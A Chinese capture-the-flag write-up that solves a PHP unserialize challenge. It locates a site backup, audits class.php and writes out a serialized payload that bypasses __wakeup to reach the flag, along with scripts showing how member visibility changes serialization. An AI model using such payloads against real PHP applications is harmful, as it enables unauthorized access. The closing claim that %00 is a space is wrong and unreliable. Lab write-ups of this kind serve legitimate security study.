题目

image.png
看到题目提示应该是有网站备份,用Dir扫到www.zip ,后面就是代码审计了。
image.png
可以看到index.php里是让GET参数反序列化,真正的代码在class.php:

  1. <?php
  2. include 'flag.php';
  3. error_reporting(0);
  4. class Name{
  5. private $username = 'nonono';
  6. private $password = 'yesyes';
  7. public function __construct($username,$password){ //构造函数
  8. $this->username = $username;
  9. $this->password = $password;
  10. }
  11. function __wakeup(){
  12. $this->username = 'guest'; //魔术方法。
  13. }
  14. function __destruct(){
  15. if ($this->password != 100) { //password要是整形100
  16. echo "</br>NO!!!hacker!!!</br>";
  17. echo "You name is: ";
  18. echo $this->username;echo "</br>";
  19. echo "You password is: ";
  20. echo $this->password;echo "</br>";
  21. die();
  22. }
  23. if ($this->username === 'admin') { //这里做了一个判断,username必须是admin,但是在魔术方法那里
  24. //把admin改成了guest,所以要绕过__wakeup()
  25. global $flag;
  26. echo $flag;
  27. }else{
  28. echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
  29. die();
  30. }
  31. }
  32. }
  33. ?>

所以综上,这里题目只需绕过wakeup,用Name类创建一个对象,username=admin,password=100,传递到参数select里面,就行了。
绕过
wakeup部分image.pngXTCTF-Web_php_unserialize

image.png构造好payload不能直接赋值粘贴到参数。应该写成
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}

三种修饰方式的测试:public,protected,private
只有public修饰的不用太多的修饰原生态构造就好,而private需要加%00Name%00
protected则需要使用 %00*%00username这样的方式

protected修饰变量,运行后回显代码内注释内容

1. <?php
2. class Name{
3.     protected $username = 'nonono';看这两行
4.     protected $password = 'yesyes';
5. 
6.     public function __construct($username,$password){
7.         $this->username = $username;
8.         $this->password = $password;
9.     }
10. }
11. 
12. $a = new Name('admin',100);
13. $b=serialize($a);
14. echo $b;
15. //看这看这看这看这!!!!!!!!!
16. //运行会输出 O:4:"Name":2:{s:11:" * username";s:5:"admin";s:11:" * password";i:100;}
17. ?>

public修饰变量,运行后回显代码内注释内容

1. <?php
2. class Name{
3.     public $username = 'nonono';
4.     public $password = 'yesyes';
5. 
6.     public function __construct($username,$password){
7.         $this->username = $username;
8.         $this->password = $password;
9.     }
10. }
11. 
12. $a = new Name('admin',100);
13. $b=serialize($a);
14. echo $b;
15. //O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
16. ?>

private修饰变量,运行后回显代码内注释内容

1. <?php
2. class Name{
3.     private $username = 'nonono';
4.     private $password = 'yesyes';
5. 
6.     public function __construct($username,$password){
7.         $this->username = $username;
8.         $this->password = $password;
9.     }
10. }
11. 
12. $a = new Name('admin',100);
13. $b=serialize($a);
14. echo $b;
15. //O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
16. ?>

总结:

1.绕过__wakeup() 方法:修改属性个数大于真实属性个数。

2.在序列化的时候要注意不同修饰符修饰的成员名,序列化的结果会不一样。

  • private : %00类名%00成员名
  • public : 不需要修饰
  • protected: %00*%00成员名

因为%00在解码之后是ASCII的0,也就是空格,所以容易被忽略。